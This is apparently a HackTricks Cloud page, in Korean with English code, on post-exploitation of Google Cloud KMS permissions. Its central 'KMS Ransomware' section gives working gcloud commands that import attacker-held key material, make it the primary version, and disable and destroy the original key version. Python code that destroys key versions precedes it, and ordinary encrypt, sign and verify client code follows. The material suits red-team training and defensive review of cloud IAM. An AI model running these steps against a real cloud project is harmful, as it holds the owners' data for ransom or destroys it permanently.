GCP - KMS Post Exploitation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

KMS

KMS에 대한 기본 정보는 다음을 참조하세요:

GCP - KMS Enum

`cloudkms.cryptoKeyVersions.destroy`

이 권한을 가진 공격자는 KMS 버전을 파괴할 수 있습니다. 이를 수행하려면 먼저 키를 비활성화한 다음 파괴해야 합니다:

Disable and destroy key version (Python)

```python # pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to disable the key version.

client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to destroy the key version.

client.destroy_crypto_key_version(request={‘name’: key_version_name})

Example usage

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy

Disable the key version

disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

Destroy the key version

destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

</details>

### KMS Ransomware

AWS에서는 KMS resource policy를 수정하고 공격자 계정만 키를 사용하도록 허용함으로써 완전히 **steal a KMS key** 하는 것이 가능합니다. 이러한 resource policies가 GCP에는 존재하지 않기 때문에 이는 불가능합니다.

그러나 전역적인 KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다:

- 공격자가 가져온 **version of the key with a key material**의 새 버전을 생성
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]

기본 버전으로 설정 (향후 암호화될 데이터용)
이전 버전으로 암호화된 기존 데이터를 새로운 버전으로 재암호화
KMS 키 삭제
이제 원래의 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다

새 버전을 가져오고 이전 데이터를 비활성화/삭제하는 단계는 다음과 같습니다:

새 키 버전 가져오기 및 이전 버전 삭제

```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.enc

Decrypt it

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Create an Import Job

gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”

Generate key material

openssl rand -out my-key-material.bin 32

Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)

gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin

Get versions

gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key

Make new version primary

gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2

Try to decrypt again (error)

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Disable initial version

gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1

Destroy the old version

gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>대칭 키로 데이터 암호화 (Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

`cloudkms.cryptoKeyVersions.useToSign`

비대칭 키로 메시지 서명 (Python)

```python import hashlib from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Convert the message to bytes and calculate the digest.

message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}

Call the API to sign the digest.

sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature

Example usage for signing

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>비대칭 키로 서명 검증 (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

`cloudkms.cryptoKeyVersions.restore`

cloudkms.cryptoKeyVersions.restore 권한은 아이덴티티가 이전에 파기 예정으로 설정되었거나 비활성화된 Cloud KMS의 키 버전을 복원하여 활성화되고 사용 가능한 상태로 되돌릴 수 있게 합니다.

gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

`cloudkms.cryptoKeyVersions.update`

cloudkms.cryptoKeyVersions.update 권한은 Cloud KMS의 특정 키 버전 속성이나 상태(예: 활성화 또는 비활성화)를 주체가 수정할 수 있도록 허용합니다.

# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.